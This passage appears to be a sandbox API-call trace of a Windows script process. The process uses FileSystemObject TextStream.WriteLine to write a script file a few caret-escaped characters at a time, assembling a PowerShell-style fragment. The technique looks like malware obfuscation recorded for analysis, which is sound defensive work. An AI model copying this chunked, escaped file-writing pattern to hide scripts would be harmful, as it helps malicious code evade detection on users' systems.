[0148.616] wcscat_s (in: _Destination="ITextStream.WriteLine(\"st $_.E^\"", _SizeInWords=0x28, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"st $_.E^\");\r\n") returned 0x0 [0148.616] wcsncpy_s (in: _Destination=0x249ca4d3d68, _SizeInWords=0x25, _Source="ITextStream.WriteLine(\"st $_.E^\");\r\n", _MaxCount=0x24 | out: _Destination="ITextStream.WriteLine(\"st $_.E^\");\r\n") returned 0x0 [0148.616] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.616] free (_Block=0x249ca4477f0) [0148.616] free (_Block=0x249c884eca0) [0148.616] free (_Block=0x249c884a540) [0148.616] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca4517c0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="st $_.E^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca4517c0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="st $_.E^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.616] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.616] SysReleaseString () returned 0x1 [0148.616] CoTaskMemFree (pv=0x249c87617c0) [0148.616] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.617] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.617] CoTaskMemAlloc (cb=0x28) returned 0x249c87617c0 [0148.617] SysAddRefString () returned 0x0 [0148.617] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.617] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.617] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.617] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767fc8, pBstrHelpFile=0x249c8758f60*="頰졵ɉ") returned 0x0 [0148.617] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87676c8, pBstrHelpFile=0x249c8758f60*="頰졵ɉ") returned 0x0 [0148.617] malloc (_Size=0x8) returned 0x249c884ed30 [0148.617] malloc (_Size=0x10) returned 0x249ca4477d0 [0148.617] _snwprintf_s (in: _DstBuf=0x249ca4477d0, _DstSizeInWords=0x8, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"xcep^\"") returned 7 [0148.617] malloc (_Size=0x4a) returned 0x249c884a540 [0148.617] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x25, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.617] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x25, _Source="\"xcep^\"", _MaxCount=0x7 | out: _Destination="ITextStream.WriteLine(\"xcep^\"") returned 0x0 [0148.617] wcscat_s (in: _Destination="ITextStream.WriteLine(\"xcep^\"", _SizeInWords=0x25, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"xcep^\");\r\n") returned 0x0 [0148.617] wcsncpy_s (in: _Destination=0x249ca4d3db2, _SizeInWords=0x22, _Source="ITextStream.WriteLine(\"xcep^\");\r\n", _MaxCount=0x21 | out: _Destination="ITextStream.WriteLine(\"xcep^\");\r\n") returned 0x0 [0148.617] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.617] free (_Block=0x249ca4477d0) [0148.617] free (_Block=0x249c884ed30) [0148.617] free (_Block=0x249c884a540) [0148.618] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca451808*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="xcep^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca451808*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="xcep^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.618] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.618] SysReleaseString () returned 0x1 [0148.618] CoTaskMemFree (pv=0x249c87617c0) [0148.618] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.618] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.619] CoTaskMemAlloc (cb=0x28) returned 0x249c87617c0 [0148.619] SysAddRefString () returned 0x0 [0148.619] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.619] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.619] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.619] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87676c8, pBstrHelpFile=0x249c8758f60*="齰졵ɉ") returned 0x0 [0148.619] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767ba8, pBstrHelpFile=0x249c8758f60*="齰졵ɉ") returned 0x0 [0148.619] malloc (_Size=0x8) returned 0x249c884ece0 [0148.619] malloc (_Size=0xe) returned 0x249ca447790 [0148.619] _snwprintf_s (in: _DstBuf=0x249ca447790, _DstSizeInWords=0x7, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"tio^\"") returned 6 [0148.619] malloc (_Size=0x48) returned 0x249ca443560 [0148.619] _snwprintf_s (in: _DstBuf=0x249ca443560, _DstSizeInWords=0x24, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.619] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x24, _Source="\"tio^\"", _MaxCount=0x6 | out: _Destination="ITextStream.WriteLine(\"tio^\"") returned 0x0 [0148.619] wcscat_s (in: _Destination="ITextStream.WriteLine(\"tio^\"", _SizeInWords=0x24, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"tio^\");\r\n") returned 0x0 [0148.619] wcsncpy_s (in: _Destination=0x249ca4d3df6, _SizeInWords=0x21, _Source="ITextStream.WriteLine(\"tio^\");\r\n", _MaxCount=0x20 | out: _Destination="ITextStream.WriteLine(\"tio^\");\r\n") returned 0x0 [0148.619] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.619] free (_Block=0x249ca447790) [0148.619] free (_Block=0x249c884ece0) [0148.619] free (_Block=0x249ca443560) [0148.619] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca451850*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="tio^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca451850*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="tio^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.620] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.620] SysReleaseString () returned 0x1 [0148.620] CoTaskMemFree (pv=0x249c87617c0) [0148.620] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.620] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.620] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.620] SysAddRefString () returned 0x0 [0148.620] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.620] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.620] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.620] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767ba8, pBstrHelpFile=0x249c8758f60*="黰졵ɉ") returned 0x0 [0148.620] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87678a8, pBstrHelpFile=0x249c8758f60*="黰졵ɉ") returned 0x0 [0148.620] malloc (_Size=0x8) returned 0x249c884edd0 [0148.620] malloc (_Size=0x10) returned 0x249ca447830 [0148.620] _snwprintf_s (in: _DstBuf=0x249ca447830, _DstSizeInWords=0x8, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"n.Me^\"") returned 7 [0148.620] malloc (_Size=0x4a) returned 0x249c884a540 [0148.620] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x25, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.620] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x25, _Source="\"n.Me^\"", _MaxCount=0x7 | out: _Destination="ITextStream.WriteLine(\"n.Me^\"") returned 0x0 [0148.620] wcscat_s (in: _Destination="ITextStream.WriteLine(\"n.Me^\"", _SizeInWords=0x25, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"n.Me^\");\r\n") returned 0x0 [0148.620] wcsncpy_s (in: _Destination=0x249ca4d3e38, _SizeInWords=0x22, _Source="ITextStream.WriteLine(\"n.Me^\");\r\n", _MaxCount=0x21 | out: _Destination="ITextStream.WriteLine(\"n.Me^\");\r\n") returned 0x0 [0148.620] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.621] free (_Block=0x249ca447830) [0148.621] free (_Block=0x249c884edd0) [0148.621] free (_Block=0x249c884a540) [0148.621] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca451898*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="n.Me^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca451898*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="n.Me^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.621] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.621] SysReleaseString () returned 0x1 [0148.621] CoTaskMemFree (pv=0x249c8761b80) [0148.621] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.621] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.621] CoTaskMemAlloc (cb=0x28) returned 0x249c87618b0 [0148.621] SysAddRefString () returned 0x0 [0148.621] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.621] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.621] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.621] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87678a8, pBstrHelpFile=0x249c8758f60*="ꅰ졵ɉ") returned 0x0 [0148.622] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767e48, pBstrHelpFile=0x249c8758f60*="ꅰ졵ɉ") returned 0x0 [0148.622] malloc (_Size=0x8) returned 0x249c884ecc0 [0148.622] malloc (_Size=0xe) returned 0x249ca447810 [0148.622] _snwprintf_s (in: _DstBuf=0x249ca447810, _DstSizeInWords=0x7, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"ssa^\"") returned 6 [0148.622] malloc (_Size=0x48) returned 0x249ca443560 [0148.622] _snwprintf_s (in: _DstBuf=0x249ca443560, _DstSizeInWords=0x24, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.622] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x24, _Source="\"ssa^\"", _MaxCount=0x6 | out: _Destination="ITextStream.WriteLine(\"ssa^\"") returned 0x0 [0148.622] wcscat_s (in: _Destination="ITextStream.WriteLine(\"ssa^\"", _SizeInWords=0x24, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"ssa^\");\r\n") returned 0x0 [0148.622] wcsncpy_s (in: _Destination=0x249ca4d3e7c, _SizeInWords=0x21, _Source="ITextStream.WriteLine(\"ssa^\");\r\n", _MaxCount=0x20 | out: _Destination="ITextStream.WriteLine(\"ssa^\");\r\n") returned 0x0 [0148.622] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.622] free (_Block=0x249ca447810) [0148.622] free (_Block=0x249c884ecc0) [0148.622] free (_Block=0x249ca443560) [0148.622] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca4518e0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="ssa^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca4518e0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="ssa^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.622] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.622] SysReleaseString () returned 0x1 [0148.622] CoTaskMemFree (pv=0x249c87618b0) [0148.622] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.622] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.623] CoTaskMemAlloc (cb=0x28) returned 0x249c8761820 [0148.623] SysAddRefString () returned 0x0 [0148.623] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.623] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.623] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.623] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767e48, pBstrHelpFile=0x249c8758f60*="ꓰ졵ɉ") returned 0x0 [0148.623] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767c68, pBstrHelpFile=0x249c8758f60*="ꓰ졵ɉ") returned 0x0 [0148.623] malloc (_Size=0x8) returned 0x249c884ee00 [0148.623] malloc (_Size=0xe) returned 0x249ca447890 [0148.623] _snwprintf_s (in: _DstBuf=0x249ca447890, _DstSizeInWords=0x7, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"ge}}\"") returned 6 [0148.623] malloc (_Size=0x48) returned 0x249ca443560 [0148.623] _snwprintf_s (in: _DstBuf=0x249ca443560, _DstSizeInWords=0x24, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.623] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x24, _Source="\"ge}}\"", _MaxCount=0x6 | out: _Destination="ITextStream.WriteLine(\"ge}}\"") returned 0x0 [0148.623] wcscat_s (in: _Destination="ITextStream.WriteLine(\"ge}}\"", _SizeInWords=0x24, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"ge}}\");\r\n") returned 0x0 [0148.623] wcsncpy_s (in: _Destination=0x249ca4d3ebe, _SizeInWords=0x21, _Source="ITextStream.WriteLine(\"ge}}\");\r\n", _MaxCount=0x20 | out: 